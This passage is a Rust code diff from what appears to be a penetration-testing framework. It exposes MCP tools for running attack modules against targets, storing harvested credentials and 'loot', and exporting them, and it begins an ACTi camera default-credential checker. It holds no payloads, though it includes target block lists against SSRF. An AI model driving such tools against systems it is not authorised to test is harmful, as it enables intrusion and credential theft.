"delete_loot" => handle_delete_loot(&args).await,
|
||||
|
||||
// ── Global options ────────────────────────────────────────
|
||||
"list_options" => handle_list_options().await,
|
||||
"set_option" => handle_set_option(&args).await,
|
||||
"unset_option" => handle_unset_option(&args).await,
|
||||
|
||||
// ── Jobs ──────────────────────────────────────────────────
|
||||
"list_jobs" => handle_list_jobs(),
|
||||
"kill_job" => handle_kill_job(&args),
|
||||
|
||||
// ── Workspace management ──────────────────────────────────
|
||||
"list_workspaces" => handle_list_workspaces().await,
|
||||
"switch_workspace" => handle_switch_workspace(&args).await,
|
||||
|
||||
// ── Export ────────────────────────────────────────────────
|
||||
"export_data" => handle_export_data().await,
|
||||
|
||||
_ => ToolResult::error(format!("Unknown tool: {}", name)),
|
||||
}
|
||||
}
|
||||
|
||||
// ===========================================================================
|
||||
// Helpers to extract typed values from serde_json::Value
|
||||
// ===========================================================================
|
||||
|
||||
/// Extract a required string parameter, returning ToolResult::error if missing.
|
||||
macro_rules! require_str {
|
||||
($args:expr, $key:expr) => {
|
||||
match str_param($args, $key) {
|
||||
Some(v) => v,
|
||||
None => return ToolResult::error(format!("Missing required parameter: {}", $key)),
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
fn str_param<'a>(args: &'a Value, key: &str) -> Option<&'a str> {
|
||||
args.get(key).and_then(|v| v.as_str())
|
||||
}
|
||||
|
||||
fn u16_param(args: &Value, key: &str) -> Option<u16> {
|
||||
args.get(key).and_then(|v| v.as_u64()).map(|n| n as u16)
|
||||
}
|
||||
|
||||
fn u32_param(args: &Value, key: &str) -> Option<u32> {
|
||||
args.get(key).and_then(|v| v.as_u64()).map(|n| n as u32)
|
||||
}
|
||||
|
||||
fn bool_param(args: &Value, key: &str) -> Option<bool> {
|
||||
args.get(key).and_then(|v| v.as_bool())
|
||||
}
|
||||
|
||||
fn prompts_param(args: &Value) -> HashMap<String, String> {
|
||||
let mut map = HashMap::new();
|
||||
if let Some(obj) = args.get("prompts").and_then(|v| v.as_object()) {
|
||||
for (k, v) in obj {
|
||||
if let Some(s) = v.as_str() {
|
||||
map.insert(k.clone(), s.to_string());
|
||||
}
|
||||
}
|
||||
}
|
||||
map
|
||||
}
|
||||
|
||||
// ===========================================================================
|
||||
// Individual tool handlers
|
||||
// ===========================================================================
|
||||
|
||||
// ── Module tools ──────────────────────────────────────────────────────────
|
||||
|
||||
fn handle_list_modules(args: &Value) -> ToolResult {
|
||||
let modules = crate::commands::discover_modules();
|
||||
let filtered: Vec<&String> = if let Some(cat) = str_param(args, "category") {
|
||||
let prefix = format!("{}/", cat);
|
||||
modules.iter().filter(|m| m.starts_with(&prefix)).collect()
|
||||
} else {
|
||||
modules.iter().collect()
|
||||
};
|
||||
ToolResult::json(&filtered)
|
||||
}
|
||||
|
||||
fn handle_search_modules(args: &Value) -> ToolResult {
|
||||
let query = require_str!(args, "query");
|
||||
let q_lower = query.to_lowercase();
|
||||
let modules = crate::commands::discover_modules();
|
||||
let matched: Vec<&String> = modules
|
||||
.iter()
|
||||
.filter(|m| m.to_lowercase().contains(&q_lower))
|
||||
.collect();
|
||||
ToolResult::json(&matched)
|
||||
}
|
||||
|
||||
fn handle_module_info(args: &Value) -> ToolResult {
|
||||
let path = require_str!(args, "module_path");
|
||||
if !crate::api::validate_module_name(path) {
|
||||
return ToolResult::error("Invalid module name".into());
|
||||
}
|
||||
match crate::commands::module_info(path) {
|
||||
Some(info) => ToolResult::json(&info),
|
||||
None => ToolResult::error(format!("No info available for module '{}'", path)),
|
||||
}
|
||||
}
|
||||
|
||||
async fn handle_check_module(args: &Value) -> ToolResult {
|
||||
let path = require_str!(args, "module_path");
|
||||
let target = require_str!(args, "target");
|
||||
if !crate::api::validate_module_name(path) {
|
||||
return ToolResult::error("Invalid module name".into());
|
||||
}
|
||||
if !crate::api::validate_target(target) {
|
||||
return ToolResult::error("Invalid target format".into());
|
||||
}
|
||||
if crate::api::is_blocked_target(target) {
|
||||
return ToolResult::error("Target matches blocked address range".into());
|
||||
}
|
||||
if crate::api::is_blocked_target_resolved(target).await {
|
||||
return ToolResult::error("Target resolves to a blocked metadata/link-local address".into());
|
||||
}
|
||||
match crate::commands::check_module(path, target).await {
|
||||
Some(result) => ToolResult::json(&result),
|
||||
None => ToolResult::error(format!("Module '{}' does not support check", path)),
|
||||
}
|
||||
}
|
||||
|
||||
// ── Target tools ──────────────────────────────────────────────────────────
|
||||
|
||||
async fn handle_set_target(args: &Value) -> ToolResult {
|
||||
let target = require_str!(args, "target");
|
||||
if !crate::api::validate_target(target) {
|
||||
return ToolResult::error("Invalid target format".into());
|
||||
}
|
||||
if crate::api::is_blocked_target(target) {
|
||||
return ToolResult::error("Target matches blocked address range".into());
|
||||
}
|
||||
if crate::api::is_blocked_target_resolved(target).await {
|
||||
return ToolResult::error("Target resolves to blocked address".into());
|
||||
}
|
||||
match crate::config::GLOBAL_CONFIG.set_target(target) {
|
||||
Ok(()) => ToolResult::text(format!("Target set to: {}", target)),
|
||||
Err(e) => ToolResult::error(format!("Failed to set target: {}", e)),
|
||||
}
|
||||
}
|
||||
|
||||
fn handle_get_target() -> ToolResult {
|
||||
let target = crate::config::GLOBAL_CONFIG.get_target();
|
||||
let size = crate::config::GLOBAL_CONFIG.get_target_size();
|
||||
let is_subnet = crate::config::GLOBAL_CONFIG.is_subnet();
|
||||
ToolResult::json(&json!({
|
||||
"target": target,
|
||||
"size": size,
|
||||
"is_subnet": is_subnet,
|
||||
}))
|
||||
}
|
||||
|
||||
fn handle_clear_target() -> ToolResult {
|
||||
crate::config::GLOBAL_CONFIG.clear_target();
|
||||
ToolResult::text("Target cleared".into())
|
||||
}
|
||||
|
||||
// ── Execution ─────────────────────────────────────────────────────────────
|
||||
|
||||
async fn handle_run_module(args: &Value) -> ToolResult {
|
||||
let module_path = require_str!(args, "module_path").to_string();
|
||||
let target = require_str!(args, "target").to_string();
|
||||
let verbose = bool_param(args, "verbose").unwrap_or(false);
|
||||
|
||||
if !crate::api::validate_module_name(&module_path) {
|
||||
return ToolResult::error("Invalid module name".into());
|
||||
}
|
||||
if !crate::api::validate_target(&target) {
|
||||
return ToolResult::error("Invalid target format".into());
|
||||
}
|
||||
if crate::api::is_blocked_target(&target) {
|
||||
return ToolResult::error("Target matches blocked address range".into());
|
||||
}
|
||||
if crate::api::is_blocked_target_resolved(&target).await {
|
||||
return ToolResult::error("Target resolves to a blocked metadata/link-local address".into());
|
||||
}
|
||||
|
||||
if !crate::commands::discover_modules().contains(&module_path) {
|
||||
return ToolResult::error(format!("Module '{}' not found", module_path));
|
||||
}
|
||||
|
||||
let mut prompts = prompts_param(args);
|
||||
// Inject port into prompts if provided as a top-level parameter
|
||||
if let Some(port) = u16_param(args, "port") {
|
||||
prompts.entry("port".into()).or_insert_with(|| port.to_string());
|
||||
}
|
||||
// Strip "target" from prompts to prevent SSRF bypass via prompt injection
|
||||
prompts.remove("target");
|
||||
|
||||
let module_config = crate::config::ModuleConfig {
|
||||
api_mode: true,
|
||||
custom_prompts: prompts,
|
||||
..Default::default()
|
||||
};
|
||||
|
||||
let output_buf = crate::output::OutputBuffer::new();
|
||||
let buf_clone = output_buf.clone();
|
||||
|
||||
let (result, _ctx) = crate::context::run_with_context_target(
|
||||
module_config,
|
||||
target.clone(),
|
||||
|| async {
|
||||
crate::output::OUTPUT_BUFFER
|
||||
.scope(buf_clone, async {
|
||||
crate::commands::run_module(&module_path, &target, verbose).await
|
||||
})
|
||||
.await
|
||||
},
|
||||
)
|
||||
.await;
|
||||
|
||||
let stdout = output_buf.drain_stdout();
|
||||
let stderr = output_buf.drain_stderr();
|
||||
|
||||
match result {
|
||||
Ok(()) => {
|
||||
let mut text = stdout;
|
||||
if !stderr.is_empty() {
|
||||
text.push_str("\n--- stderr ---\n");
|
||||
text.push_str(&stderr);
|
||||
}
|
||||
if text.is_empty() {
|
||||
text = "Module completed successfully (no output captured)".into();
|
||||
}
|
||||
ToolResult::text(text)
|
||||
}
|
||||
Err(e) => {
|
||||
let mut msg = format!("Module error: {}\n", e);
|
||||
if !stdout.is_empty() {
|
||||
msg.push_str("\n--- stdout ---\n");
|
||||
msg.push_str(&stdout);
|
||||
}
|
||||
if !stderr.is_empty() {
|
||||
msg.push_str("\n--- stderr ---\n");
|
||||
msg.push_str(&stderr);
|
||||
}
|
||||
ToolResult::error(msg)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ── Credentials ───────────────────────────────────────────────────────────
|
||||
|
||||
async fn handle_list_creds() -> ToolResult {
|
||||
let creds = crate::cred_store::CRED_STORE.list().await;
|
||||
ToolResult::json(&creds)
|
||||
}
|
||||
|
||||
async fn handle_search_creds(args: &Value) -> ToolResult {
|
||||
let query = require_str!(args, "query");
|
||||
let results = crate::cred_store::CRED_STORE.search(query).await;
|
||||
ToolResult::json(&results)
|
||||
}
|
||||
|
||||
async fn handle_add_cred(args: &Value) -> ToolResult {
|
||||
let host = require_str!(args, "host");
|
||||
let username = require_str!(args, "username");
|
||||
let secret = require_str!(args, "secret");
|
||||
let port = match u16_param(args, "port") {
|
||||
Some(0) => return ToolResult::error("Port must be between 1 and 65535".into()),
|
||||
Some(p) => p,
|
||||
None => return ToolResult::error("Missing required parameter: port".into()),
|
||||
};
|
||||
let service = str_param(args, "service").unwrap_or("unknown");
|
||||
if host.len() > 4096 || host.chars().any(|c| c.is_control()) {
|
||||
return ToolResult::error("host too long (max 4096) or contains control characters".into());
|
||||
}
|
||||
if username.len() > 4096 || username.chars().any(|c| c.is_control()) {
|
||||
return ToolResult::error("username too long (max 4096) or contains control characters".into());
|
||||
}
|
||||
if secret.len() > 4096 {
|
||||
return ToolResult::error("secret too long (max 4096 chars)".into());
|
||||
}
|
||||
if service.len() > 4096 || service.chars().any(|c| c.is_control()) {
|
||||
return ToolResult::error("service too long (max 4096) or contains control characters".into());
|
||||
}
|
||||
let cred_type = match str_param(args, "cred_type").unwrap_or("password") {
|
||||
"hash" => crate::cred_store::CredType::Hash,
|
||||
"key" => crate::cred_store::CredType::Key,
|
||||
"token" => crate::cred_store::CredType::Token,
|
||||
_ => crate::cred_store::CredType::Password,
|
||||
};
|
||||
|
||||
match crate::cred_store::CRED_STORE
|
||||
.add(host, port, service, username, secret, cred_type, "mcp")
|
||||
.await
|
||||
{
|
||||
Some(id) => ToolResult::json(&json!({ "id": id, "status": "added" })),
|
||||
None => ToolResult::error("Failed to add credential (store limit reached or I/O error)".into()),
|
||||
}
|
||||
}
|
||||
|
||||
async fn handle_delete_cred(args: &Value) -> ToolResult {
|
||||
let id = require_str!(args, "id");
|
||||
if crate::cred_store::CRED_STORE.delete(id).await {
|
||||
ToolResult::text(format!("Credential {} deleted", id))
|
||||
} else {
|
||||
ToolResult::error(format!("Credential {} not found", id))
|
||||
}
|
||||
}
|
||||
|
||||
// ── Workspace hosts & services ────────────────────────────────────────────
|
||||
|
||||
async fn handle_list_hosts() -> ToolResult {
|
||||
let hosts = crate::workspace::WORKSPACE.hosts().await;
|
||||
ToolResult::json(&hosts)
|
||||
}
|
||||
|
||||
async fn handle_add_host(args: &Value) -> ToolResult {
|
||||
let ip = require_str!(args, "ip");
|
||||
if ip.len() > 256 || ip.chars().any(|c| c.is_control()) {
|
||||
return ToolResult::error("IP too long (max 256) or contains control characters".into());
|
||||
}
|
||||
let hostname = str_param(args, "hostname");
|
||||
if let Some(h) = hostname {
|
||||
if h.len() > 256 || h.chars().any(|c| c.is_control()) {
|
||||
return ToolResult::error("hostname too long (max 256) or contains control characters".into());
|
||||
}
|
||||
}
|
||||
let os_guess = str_param(args, "os_guess");
|
||||
if let Some(o) = os_guess {
|
||||
if o.len() > 256 || o.chars().any(|c| c.is_control()) {
|
||||
return ToolResult::error("os_guess too long (max 256) or contains control characters".into());
|
||||
}
|
||||
}
|
||||
crate::workspace::WORKSPACE
|
||||
.add_host(ip, hostname, os_guess)
|
||||
.await;
|
||||
ToolResult::text(format!("Host {} added/updated", ip))
|
||||
}
|
||||
|
||||
async fn handle_delete_host(args: &Value) -> ToolResult {
|
||||
let ip = require_str!(args, "ip");
|
||||
if crate::workspace::WORKSPACE.delete_host(ip).await {
|
||||
ToolResult::text(format!("Host {} deleted", ip))
|
||||
} else {
|
||||
ToolResult::error(format!("Host {} not found", ip))
|
||||
}
|
||||
}
|
||||
|
||||
async fn handle_list_services() -> ToolResult {
|
||||
let services = crate::workspace::WORKSPACE.services().await;
|
||||
ToolResult::json(&services)
|
||||
}
|
||||
|
||||
async fn handle_add_service(args: &Value) -> ToolResult {
|
||||
let host = require_str!(args, "host");
|
||||
let port = match u16_param(args, "port") {
|
||||
Some(0) => return ToolResult::error("Port must be between 1 and 65535".into()),
|
||||
Some(v) => v,
|
||||
None => return ToolResult::error("Missing required parameter: port".into()),
|
||||
};
|
||||
if host.len() > 256 || host.chars().any(|c| c.is_control()) {
|
||||
return ToolResult::error("host too long (max 256) or contains control characters".into());
|
||||
}
|
||||
let service_name = require_str!(args, "service_name");
|
||||
let protocol = str_param(args, "protocol").unwrap_or("tcp");
|
||||
if protocol.len() > 256 || protocol.chars().any(|c| c.is_control()) {
|
||||
return ToolResult::error("protocol too long (max 256) or contains control characters".into());
|
||||
}
|
||||
let version = str_param(args, "version");
|
||||
crate::workspace::WORKSPACE
|
||||
.add_service(host, port, protocol, service_name, version)
|
||||
.await;
|
||||
ToolResult::text(format!("Service {}:{} ({}) added/updated", host, port, service_name))
|
||||
}
|
||||
|
||||
async fn handle_delete_service(args: &Value) -> ToolResult {
|
||||
let host = require_str!(args, "host");
|
||||
let port = match u16_param(args, "port") {
|
||||
Some(v) => v,
|
||||
None => return ToolResult::error("Missing required parameter: port".into()),
|
||||
};
|
||||
if crate::workspace::WORKSPACE.delete_service(host, port).await {
|
||||
ToolResult::text(format!("Service {}:{} deleted", host, port))
|
||||
} else {
|
||||
ToolResult::error(format!("Service {}:{} not found", host, port))
|
||||
}
|
||||
}
|
||||
|
||||
// ── Loot ──────────────────────────────────────────────────────────────────
|
||||
|
||||
async fn handle_list_loot() -> ToolResult {
|
||||
let loot = crate::loot::LOOT_STORE.list().await;
|
||||
ToolResult::json(&loot)
|
||||
}
|
||||
|
||||
async fn handle_search_loot(args: &Value) -> ToolResult {
|
||||
let query = require_str!(args, "query");
|
||||
let results = crate::loot::LOOT_STORE.search(query).await;
|
||||
ToolResult::json(&results)
|
||||
}
|
||||
|
||||
async fn handle_add_loot(args: &Value) -> ToolResult {
|
||||
let host = require_str!(args, "host");
|
||||
let loot_type = require_str!(args, "loot_type");
|
||||
let data = require_str!(args, "data");
|
||||
let description = str_param(args, "description").unwrap_or("");
|
||||
|
||||
if host.len() > 256 || loot_type.len() > 256 {
|
||||
return ToolResult::error("host or loot_type too long (max 256)".into());
|
||||
}
|
||||
if description.len() > 4096 {
|
||||
return ToolResult::error("description too long (max 4096)".into());
|
||||
}
|
||||
const MAX_LOOT_DATA: usize = 100 * 1024 * 1024;
|
||||
if data.len() > MAX_LOOT_DATA {
|
||||
return ToolResult::error(format!("data too large ({} bytes, max {} MB)", data.len(), MAX_LOOT_DATA / 1024 / 1024));
|
||||
}
|
||||
|
||||
match crate::loot::LOOT_STORE
|
||||
.add_text(host, loot_type, description, data, "mcp")
|
||||
.await
|
||||
{
|
||||
Some(id) => ToolResult::json(&json!({ "id": id, "status": "stored" })),
|
||||
None => ToolResult::error("Failed to store loot (validation or I/O error)".into()),
|
||||
}
|
||||
}
|
||||
|
||||
async fn handle_delete_loot(args: &Value) -> ToolResult {
|
||||
let id = require_str!(args, "id");
|
||||
if crate::loot::LOOT_STORE.delete(id).await {
|
||||
ToolResult::text(format!("Loot {} deleted", id))
|
||||
} else {
|
||||
ToolResult::error(format!("Loot {} not found", id))
|
||||
}
|
||||
}
|
||||
|
||||
// ── Global options ────────────────────────────────────────────────────────
|
||||
|
||||
async fn handle_list_options() -> ToolResult {
|
||||
let opts = crate::global_options::GLOBAL_OPTIONS.all().await;
|
||||
ToolResult::json(&opts)
|
||||
}
|
||||
|
||||
async fn handle_set_option(args: &Value) -> ToolResult {
|
||||
let key = require_str!(args, "key");
|
||||
let value = require_str!(args, "value");
|
||||
if !crate::global_options::GLOBAL_OPTIONS.set(key, value).await {
|
||||
return ToolResult::error(format!("Failed to set '{}': key/value too long or entry limit reached", key));
|
||||
}
|
||||
ToolResult::text(format!("{} => {}", key, value))
|
||||
}
|
||||
|
||||
async fn handle_unset_option(args: &Value) -> ToolResult {
|
||||
let key = require_str!(args, "key");
|
||||
if crate::global_options::GLOBAL_OPTIONS.unset(key).await {
|
||||
ToolResult::text(format!("Option '{}' removed", key))
|
||||
} else {
|
||||
ToolResult::error(format!("Option '{}' not found", key))
|
||||
}
|
||||
}
|
||||
|
||||
// ── Jobs ──────────────────────────────────────────────────────────────────
|
||||
|
||||
fn handle_list_jobs() -> ToolResult {
|
||||
let jobs = crate::jobs::JOB_MANAGER.list();
|
||||
let entries: Vec<Value> = jobs
|
||||
.into_iter()
|
||||
.map(|(id, module, target, started, status)| {
|
||||
json!({
|
||||
"id": id,
|
||||
"module": module,
|
||||
"target": target,
|
||||
"started": started,
|
||||
"status": status,
|
||||
})
|
||||
})
|
||||
.collect();
|
||||
ToolResult::json(&entries)
|
||||
}
|
||||
|
||||
fn handle_kill_job(args: &Value) -> ToolResult {
|
||||
let id = match u32_param(args, "id") {
|
||||
Some(v) => v,
|
||||
None => return ToolResult::error("Missing required parameter: id (integer)".into()),
|
||||
};
|
||||
if crate::jobs::JOB_MANAGER.kill(id) {
|
||||
ToolResult::text(format!("Job {} killed", id))
|
||||
} else {
|
||||
ToolResult::error(format!("Job {} not found", id))
|
||||
}
|
||||
}
|
||||
|
||||
// ── Workspace management ──────────────────────────────────────────────────
|
||||
|
||||
async fn handle_list_workspaces() -> ToolResult {
|
||||
let workspaces = crate::workspace::WORKSPACE.list_workspaces().await;
|
||||
let current = crate::workspace::WORKSPACE.current_name().await;
|
||||
ToolResult::json(&json!({
|
||||
"workspaces": workspaces,
|
||||
"current": current,
|
||||
}))
|
||||
}
|
||||
|
||||
async fn handle_switch_workspace(args: &Value) -> ToolResult {
|
||||
let name = require_str!(args, "name");
|
||||
if name.is_empty() || name.len() > 64
|
||||
|| name.chars().any(|c| !c.is_alphanumeric() && c != '_' && c != '-')
|
||||
{
|
||||
return ToolResult::error("Workspace name must be 1-64 alphanumeric chars, dashes, or underscores".into());
|
||||
}
|
||||
crate::workspace::WORKSPACE.switch(name).await;
|
||||
ToolResult::text(format!("Switched to workspace: {}", name))
|
||||
}
|
||||
|
||||
// ── Export ─────────────────────────────────────────────────────────────────
|
||||
|
||||
async fn handle_export_data() -> ToolResult {
|
||||
let workspace_name = crate::workspace::WORKSPACE.current_name().await;
|
||||
let workspace_data = crate::workspace::WORKSPACE.get_data().await;
|
||||
let creds = crate::cred_store::CRED_STORE.list().await;
|
||||
let loot = crate::loot::LOOT_STORE.list().await;
|
||||
|
||||
ToolResult::json(&json!({
|
||||
"workspace": workspace_name,
|
||||
"exported_at": chrono::Local::now().format("%Y-%m-%d %H:%M:%S").to_string(),
|
||||
"hosts": workspace_data.hosts,
|
||||
"services": workspace_data.services,
|
||||
"credentials": creds,
|
||||
"loot": loot,
|
||||
}))
|
||||
}
|
||||
@@ -0,0 +1,185 @@
|
||||
use serde::{Deserialize, Serialize};
|
||||
use serde_json::Value;
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// JSON-RPC 2.0 core types
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// Incoming JSON-RPC 2.0 request (or notification when `id` is `None`).
|
||||
#[derive(Deserialize)]
|
||||
pub struct JsonRpcRequest {
|
||||
pub jsonrpc: String,
|
||||
/// `None` means this is a notification (no response expected).
|
||||
pub id: Option<Value>,
|
||||
pub method: String,
|
||||
pub params: Option<Value>,
|
||||
}
|
||||
|
||||
/// Outgoing JSON-RPC 2.0 response.
|
||||
#[derive(Serialize)]
|
||||
pub struct JsonRpcResponse {
|
||||
pub jsonrpc: String,
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
pub id: Option<Value>,
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
pub result: Option<Value>,
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
pub error: Option<JsonRpcError>,
|
||||
}
|
||||
|
||||
/// JSON-RPC 2.0 error object.
|
||||
#[derive(Serialize)]
|
||||
pub struct JsonRpcError {
|
||||
pub code: i64,
|
||||
pub message: String,
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
pub data: Option<Value>,
|
||||
}
|
||||
|
||||
impl JsonRpcResponse {
|
||||
/// Build a successful response carrying `result`.
|
||||
pub fn success(id: Option<Value>, result: Value) -> Self {
|
||||
Self {
|
||||
jsonrpc: "2.0".to_string(),
|
||||
id,
|
||||
result: Some(result),
|
||||
error: None,
|
||||
}
|
||||
}
|
||||
|
||||
/// Build an error response.
|
||||
pub fn error(id: Option<Value>, code: i64, message: String) -> Self {
|
||||
Self {
|
||||
jsonrpc: "2.0".to_string(),
|
||||
id,
|
||||
result: None,
|
||||
error: Some(JsonRpcError {
|
||||
code,
|
||||
message,
|
||||
data: None,
|
||||
}),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// MCP capability negotiation
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// Returned as the result of the `initialize` method.
|
||||
#[derive(Serialize)]
|
||||
pub struct InitializeResult {
|
||||
#[serde(rename = "protocolVersion")]
|
||||
pub protocol_version: String,
|
||||
pub capabilities: ServerCapabilities,
|
||||
#[serde(rename = "serverInfo")]
|
||||
pub server_info: ServerInfo,
|
||||
}
|
||||
|
||||
#[derive(Serialize)]
|
||||
pub struct ServerCapabilities {
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
pub tools: Option<ToolsCapability>,
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
pub resources: Option<ResourcesCapability>,
|
||||
}
|
||||
|
||||
#[derive(Serialize)]
|
||||
pub struct ToolsCapability {}
|
||||
|
||||
#[derive(Serialize)]
|
||||
pub struct ResourcesCapability {}
|
||||
|
||||
#[derive(Serialize)]
|
||||
pub struct ServerInfo {
|
||||
pub name: String,
|
||||
pub version: String,
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Tools
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// Descriptor returned by `tools/list`.
|
||||
#[derive(Serialize, Clone)]
|
||||
pub struct Tool {
|
||||
pub name: String,
|
||||
pub description: String,
|
||||
#[serde(rename = "inputSchema")]
|
||||
pub input_schema: Value,
|
||||
}
|
||||
|
||||
/// Result payload returned by `tools/call`.
|
||||
#[derive(Serialize)]
|
||||
pub struct ToolResult {
|
||||
pub content: Vec<ToolContent>,
|
||||
#[serde(rename = "isError", skip_serializing_if = "Option::is_none")]
|
||||
pub is_error: Option<bool>,
|
||||
}
|
||||
|
||||
/// A single content block inside a `ToolResult`.
|
||||
#[derive(Serialize)]
|
||||
pub struct ToolContent {
|
||||
#[serde(rename = "type")]
|
||||
pub content_type: String,
|
||||
pub text: String,
|
||||
}
|
||||
|
||||
impl ToolResult {
|
||||
/// Plain-text result.
|
||||
pub fn text(s: String) -> Self {
|
||||
Self {
|
||||
content: vec![ToolContent {
|
||||
content_type: "text".to_string(),
|
||||
text: s,
|
||||
}],
|
||||
is_error: None,
|
||||
}
|
||||
}
|
||||
|
||||
/// Serialize any `Serialize` value into pretty-printed JSON text.
|
||||
pub fn json(v: &impl Serialize) -> Self {
|
||||
let text = serde_json::to_string_pretty(v).unwrap_or_else(|e| format!("{{\"error\": \"{}\"}}", e));
|
||||
Self {
|
||||
content: vec![ToolContent {
|
||||
content_type: "text".to_string(),
|
||||
text,
|
||||
}],
|
||||
is_error: None,
|
||||
}
|
||||
}
|
||||
|
||||
/// Error result — sets `isError` to `true`.
|
||||
pub fn error(msg: String) -> Self {
|
||||
Self {
|
||||
content: vec![ToolContent {
|
||||
content_type: "text".to_string(),
|
||||
text: msg,
|
||||
}],
|
||||
is_error: Some(true),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Resources
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// Descriptor returned by `resources/list`.
|
||||
#[derive(Serialize, Clone)]
|
||||
pub struct Resource {
|
||||
pub uri: String,
|
||||
pub name: String,
|
||||
pub description: String,
|
||||
#[serde(rename = "mimeType")]
|
||||
pub mime_type: String,
|
||||
}
|
||||
|
||||
/// Content payload returned by `resources/read`.
|
||||
#[derive(Serialize)]
|
||||
pub struct ResourceContent {
|
||||
pub uri: String,
|
||||
#[serde(rename = "mimeType")]
|
||||
pub mime_type: String,
|
||||
pub text: String,
|
||||
}
|
||||
@@ -0,0 +1,101 @@
|
||||
use colored::*;
|
||||
use serde::{Deserialize, Serialize};
|
||||
|
||||
/// Module metadata — returned by optional `pub fn info() -> ModuleInfo` in modules.
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct ModuleInfo {
|
||||
pub name: String,
|
||||
pub description: String,
|
||||
pub authors: Vec<String>,
|
||||
/// CVE IDs, URLs, EDB references, etc.
|
||||
pub references: Vec<String>,
|
||||
/// ISO date string, e.g. "2024-01-15"
|
||||
pub disclosure_date: Option<String>,
|
||||
pub rank: ModuleRank,
|
||||
}
|
||||
|
||||
/// Reliability/safety rank for modules (inspired by Metasploit ranking).
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub enum ModuleRank {
|
||||
/// Reliable, no crash risk
|
||||
Excellent,
|
||||
/// Usually works
|
||||
Great,
|
||||
/// Default rank
|
||||
Good,
|
||||
/// May cause instability
|
||||
Normal,
|
||||
/// Rarely works
|
||||
Low,
|
||||
/// Requires manual steps
|
||||
Manual,
|
||||
}
|
||||
|
||||
impl std::fmt::Display for ModuleRank {
|
||||
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||
match self {
|
||||
ModuleRank::Excellent => write!(f, "Excellent"),
|
||||
ModuleRank::Great => write!(f, "Great"),
|
||||
ModuleRank::Good => write!(f, "Good"),
|
||||
ModuleRank::Normal => write!(f, "Normal"),
|
||||
ModuleRank::Low => write!(f, "Low"),
|
||||
ModuleRank::Manual => write!(f, "Manual"),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Result of a non-destructive vulnerability check.
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub enum CheckResult {
|
||||
Vulnerable(String),
|
||||
NotVulnerable(String),
|
||||
Unknown(String),
|
||||
Error(String),
|
||||
}
|
||||
|
||||
impl std::fmt::Display for CheckResult {
|
||||
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||
match self {
|
||||
CheckResult::Vulnerable(msg) => write!(f, "Vulnerable: {}", msg),
|
||||
CheckResult::NotVulnerable(msg) => write!(f, "Not Vulnerable: {}", msg),
|
||||
CheckResult::Unknown(msg) => write!(f, "Unknown: {}", msg),
|
||||
CheckResult::Error(msg) => write!(f, "Error: {}", msg),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Pretty-print module info to the console.
|
||||
pub fn display_module_info(module_path: &str, info: &ModuleInfo) {
|
||||
println!();
|
||||
println!("{}", "╔══════════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ Module Information ║".cyan());
|
||||
println!("{}", "╚══════════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
println!(" {:<16} {}", "Path:".bold(), module_path);
|
||||
println!(" {:<16} {}", "Name:".bold(), info.name);
|
||||
println!(" {:<16} {}", "Rank:".bold(), format!("{}", info.rank).green());
|
||||
if let Some(ref date) = info.disclosure_date {
|
||||
println!(" {:<16} {}", "Disclosed:".bold(), date);
|
||||
}
|
||||
println!();
|
||||
println!(" {}", "Description:".bold());
|
||||
for line in info.description.lines() {
|
||||
println!(" {}", line);
|
||||
}
|
||||
println!();
|
||||
if !info.authors.is_empty() {
|
||||
println!(" {}", "Authors:".bold());
|
||||
for author in &info.authors {
|
||||
println!(" - {}", author);
|
||||
}
|
||||
println!();
|
||||
}
|
||||
if !info.references.is_empty() {
|
||||
println!(" {}", "References:".bold());
|
||||
for reference in &info.references {
|
||||
println!(" - {}", reference);
|
||||
}
|
||||
println!();
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,344 @@
|
||||
use anyhow::{Context, Result};
|
||||
use suppaftp::tokio::AsyncFtpStream;
|
||||
use colored::*;
|
||||
use ssh2::Session;
|
||||
use telnet::{Telnet, Event};
|
||||
use std::{net::TcpStream, time::Duration};
|
||||
use tokio::{join, task};
|
||||
use crate::utils::url_encode;
|
||||
use crate::utils::{is_mass_scan_target, run_mass_scan, MassScanConfig};
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
|
||||
fn display_banner() {
|
||||
if crate::utils::is_batch_mode() { return; }
|
||||
crate::mprintln!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
crate::mprintln!("{}", "║ ACTi Camera Default Credentials Checker ║".cyan());
|
||||
crate::mprintln!("{}", "║ Multi-Protocol Scanner (FTP/SSH/Telnet/HTTP) ║".cyan());
|
||||
crate::mprintln!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
crate::mprintln!();
|
||||
}
|
||||
|
||||
/// Supported Acti services
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
|
||||
pub enum ServiceType {
|
||||
Ftp,
|
||||
Ssh,
|
||||
Telnet,
|
||||
Http,
|
||||
}
|
||||
